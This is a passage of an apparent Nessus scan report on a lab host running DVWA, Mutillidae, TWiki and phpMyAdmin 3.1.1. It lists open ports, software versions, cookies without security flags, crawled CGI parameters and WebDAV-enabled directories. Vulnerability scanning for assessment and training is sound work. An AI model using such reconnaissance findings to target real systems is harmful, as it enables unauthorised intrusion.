Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/3306/mysql

Port 3306/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/3632

Port 3632/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

# tcp/5432/postgresql

Port 5432/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/5900/vnc

Port 5900/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

## Plugin Output

## tcp/6000

Port 6000/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/6667

Port 6667/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

## Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

# Plugin Output

## tcp/8180

Port 8180/tcp was found to be open

## Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2025/01/13

Plugin Output

tcp/8787

Port 8787/tcp was found to be open

# 48243 - PHP Version Detection

## **Synopsis**

It was possible to obtain the version number of the remote PHP installation.

## Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2024/11/22

Plugin Output

tcp/80/www

```
Nessus was able to identify the following PHP version information :
```

Version: 5.2.4-2ubuntu5.10

Source: X-Powered-By: PHP/5.2.4-2ubuntu5.10 Source: http://192.168.13.5/phpinfo.php

# 19941 - TWiki Detection

## **Synopsis**

The remote web server hosts a Wiki system written in Perl.

# Description

The remote host is running TWiki, an open source wiki system written in Perl.

#### See Also

http://twiki.org

#### Solution

n/a

#### Risk Factor

None

# Plugin Information

Published: 2005/10/06, Modified: 2023/05/24

# Plugin Output

# tcp/80/www

URL: http://192.168.13.5/twiki/bin/view/Main

Version : 01 Feb 2003

# 100669 - Web Application Cookies Are Expired

## Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

## Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

#### See Also

https://tools.ietf.org/html/rfc6265

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

#### Risk Factor

None

#### Plugin Information

Published: 2017/06/07, Modified: 2021/12/20

#### Plugin Output

#### tcp/80/www

```
The following cookies are expired:

Name: pma_fontsize
Path: /phpMyAdmin/
Value: deleted
Domain:
Version: 1
Expires: Wed, 29-May-2024 13:59:14 GMT
Comment:
Secure: 0
Httponly: 0
Port:

Name: pma_collation_connection
Path: /phpMyAdmin/
Value: deleted
```

```
Domain :
 Version : 1
 Expires : Wed, 29-May-2024 13:59:50 GMT
 Comment :
 Secure : 0
 Httponly : 1
 Port :
 Name : pma_theme
 Path : /phpMyAdmin/
 Value : deleted
 Domain :
 Version : 1
 Expires : Wed, 29-May-2024 13:59:04 GMT
 Comment :
 Secure : 0
 Httponly : 0
 Port :
```

## 85601 - Web Application Cookies Not Marked HttpOnly

## Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

## Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

#### See Also

https://www.owasp.org/index.php/HttpOnly

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

#### Risk Factor

None

#### References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:442
XREF	CWE:629
XREF	CWE:711
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:750
XREF	CWE:751
XREF	CWE:800
XREF	CWE:801

```
XREF CWE:809
XREF CWE:811
XREF CWE:864
XREF CWE:900
XREF CWE:928
XREF CWE:931
XREF CWE:990
```

# Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

# Plugin Output

## tcp/80/www

```
The following cookies do not set the HttpOnly cookie flag:
Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly: 0
Port :
Name : PHPSESSID
Path : /
Value : 9da1ea72b9e66be41566d1cc14ef162e
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

# 85602 - Web Application Cookies Not Marked Secure

## Synopsis

HTTP session cookies might be transmitted in cleartext.

## Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

#### See Also

https://www.owasp.org/index.php/SecureFlag

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

#### Risk Factor

None

## References

CWE:522
CWE:718
CWE:724
CWE:928
CWE:930

#### Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

#### Plugin Output

#### tcp/80/www

```
The following cookies do not set the secure cookie flag:
Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Sat, 28-Jun-2025 13:51:05 GMT
Comment :
Secure : 0
Httponly: 1
Port :
Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Sat, 28-Jun-2025 13:51:06 GMT
Comment :
Secure : 0
Httponly : 1
Port :
Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
Name : phpMyAdmin
Path : /phpMyAdmin/
Value: cb7c4f678e6d0008f8dbf305cd214acd4d3292a7
Domain :
Version: 1
Expires :
Comment :
Secure : 0
Httponly : 1
Port :
Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Sat, 28-Jun-2025 13:51:05 GMT
Comment :
Secure : 0
Httponly : 1
Port :
Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Sat, 28-Jun-2025 13:51:05 GMT
```

```
Comment:
Secure: 0
Httponly: 1
Port:

Name: PHPSESSID
Path: /
Value: 9dalea72b9e66be41566d1cc14ef162e
Domain:
Version: 1
Expires:
Comment:
Secure: 0
Httponly: 0
Port:
```

# 40773 - Web Application Potentially Sensitive CGI Parameter Detection

# Synopsis

An application was found that may use CGI parameters to control sensitive information.

## Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

- \*\* This plugin only reports information that may be useful for auditors
- \*\* or pen-testers, not a real flaw.

#### Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

## Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

#### Plugin Output

#### tcp/80/www

Potentially sensitive parameters for CGI /dvwa/login.php:

password: Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack

# 91815 - Web Application Sitemap

#### Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

## Description

The remote web server contains linkable content that can be used to gather information about a target.

#### See Also

http://www.nessus.org/u?5496c8d9

#### Solution

n/a

#### Risk Factor

None

#### Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

#### Plugin Output

#### tcp/80/www

The following sitemap was created from crawling linkable content on the target host :

```
- http://192.168.13.5/
```

- http://192.168.13.5/dvwa/dvwa/includes/DBMS/
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/DBMS.php
- http://192.168.13.5/dvwa/dvwa/includes/DBMS/MySQL.php
- http://192.168.13.5/dvwa/dvwa/includes/dvwaPage.inc.php

<sup>-</sup> http://192.168.13.5/dav/

<sup>-</sup> http://192.168.13.5/dav/kb\_gDCR5.htm/

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/css/

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/css/help.css

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/css/login.css

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/css/main.css

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/css/source.css

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/RandomStorm.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/dollar.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/lock.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/login\_logo.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/logo.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/spanner.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/images/warning.png

<sup>-</sup> http://192.168.13.5/dvwa/dvwa/includes/

```
- http://192.168.13.5/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://192.168.13.5/dvwa/dvwa/js/
  - http://192.168.13.5/dvwa/dvwa/js/dvwaPage.js
  - http://192.168.13.5/dvwa/login.php
  - http://192.168.13.5/mutillidae/
  - http://192.168.13.5/mutillidae/documentation/
  - http://192.168.13.5/mutillidae/documentation/Mutillidae-Test-Scripts.txt
  - http://192.168.13.5/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
  - http://192.168.13.5/mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
  - http://192.168.13.5/mutillidae/documentation/sqlmap-help.txt
  - http://192.168.13.5/mutillidae/documentation/vulnerabilities.php
  - http://192.168.13.5/mutillidae/favicon.ico
  - http://192.168.13.5/mutillidae/framer.html
  - http://192.168.13.5/mutillidae/index.php
  - http://192.168.13.5/mutillidae/set-up-database.php
  - http://192.168.13.5/mutillidae/styles/
```

# 11032 - Web Server Directory Enumeration

## Synopsis

It is possible to enumerate directories on the web server.

## Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

#### See Also

http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location

Solution

n/a

Risk Factor

None

References

**XREF** 

OWASP:OWASP-CM-006

## Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

Plugin Output

tcp/80/www

The following directories were discovered: /cgi-bin, /doc, /test, /icons, /phpMyAdmin, /twiki/bin

While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards  $\[ \frac{1}{2} \]$ 

# 49705 - Web Server Harvested Email Addresses

/twiki/TWikiHistory.html

# **Synopsis** Email addresses were harvested from the web server. Description Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server. Solution n/a Risk Factor None Plugin Information Published: 2010/10/04, Modified: 2018/05/24 Plugin Output tcp/80/www The following email address has been gathered: - 'SomeWikiName@somewhere.test', referenced from :

# 11419 - Web Server Office File Inventory

# Synopsis

The remote web server hosts office-related files.

# Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

#### Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

None

## Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

## Plugin Output

## tcp/80/www

The following office-related files are available on the remote server :

- Adobe Acrobat files (.pdf) : /mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf

# 10662 - Web mirroring

# Synopsis

Nessus can crawl the remote website.

## Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/05/04, Modified: 2025/01/13

#### Plugin Output

#### tcp/80/www

```
Webmirror performed 102 queries in 53s (1.0924 queries per second)
The following CGIs have been discovered:
+ CGI : /phpMyAdmin/phpmyadmin.css.php
 Methods : GET
 Argument : js_frame
  Value: right
 Argument : nocache
  Value: 2457687233
 Argument : token
  Value: 17762b5c8e1118be7e7854bd10d8d64c
+ CGI : /phpMyAdmin/index.php
 Methods : POST
 Argument : db
 Argument : lang
 Argument : pma_password
 Argument : pma_username
 Argument : server
  Value: 1
 Argument : table
 Argument : token
  Value: 17762b5c8e1118be7e7854bd10d8d64c
```

```
+ CGI : /mutillidae/index.php
 Methods : GET
 Argument : do
  Value: toggle-security
 Argument : page
  Value: notes.php
 Argument : username
  Value: anonymous
+ CGI : /mutillidae/
 Methods : GET
 Argument : page
  Value: source-viewer.php
+ CGI : /rdiff/TWiki/TWikiHistory
 Methods : GET
 Argument : rev1
  Value: 1.8
 Argument : rev2
  Value: 1.7
+ CGI : /view/TWiki/TWikiHistory
 Methods : GET
 Argument : rev
  Value: 1.7
+ CGI : /oops/TWiki/TWikiHistory
 Methods : GET
 Argument : param1
  Value: 1.10
 Argument : template
  Value: oopsrev
+ CGI : /twiki/bin/view/Main/WebHome
 Methods : GET
 Argument : topic
+ CGI : /twiki/bin/search/Main/SearchResult
 Methods : GET
 Argument : search
+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/edit/Main/WebHome
 Methods : GET
 Argument : t
  Value: 1748526693
+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/search/Main/SearchResult
 Methods : GET
 Argument : regex
  Value: on
 Argument : scope
  Value: text
 Argument : search
  Value: Web%20*Home%5B%5EA-Za-z%5D
+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/view/Main/WebHome
 Methods : GET
 Argument : rev
  Value: 1.18
 Argument : skin
```

```
Value: print

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/rdiff/Main/WebHome
Methods : GET
Argument : rev1
Value: 1.19
Argument : rev2
Value: 1.18

+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/oops/Main/WebHome
Methods : GET
Argument : param1
Value: 1.20
Argum [...]
```

# 11424 - WebDAV Detection

## **Synopsis**

The remote server is running with WebDAV enabled.

## Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

#### Solution

http://support.microsoft.com/default.aspx?kbid=241520

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

# 24004 - WebDAV Directory Enumeration

## Synopsis

Several directories on the remote host are DAV-enabled.

## Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

#### Solution

Disable DAV support if you do not use it.

#### Risk Factor

None

## Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

## Plugin Output

#### tcp/80/www

The following directories are DAV enabled:

- /dav/kb\_gDCR5.htm/
- /dav/

# 17219 - phpMyAdmin Detection

## **Synopsis**

The remote web server hosts a database management application written in PHP.

# Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.

#### See Also

https://www.phpmyadmin.net/

#### Solution

n/a

#### Risk Factor

None

# Plugin Information

Published: 2005/02/25, Modified: 2022/06/01

## Plugin Output

# tcp/80/www

```
The following instance of phpMyAdmin was detected on the remote host:

Version: 3.1.1

URL: http://192.168.13.5/phpMyAdmin/
```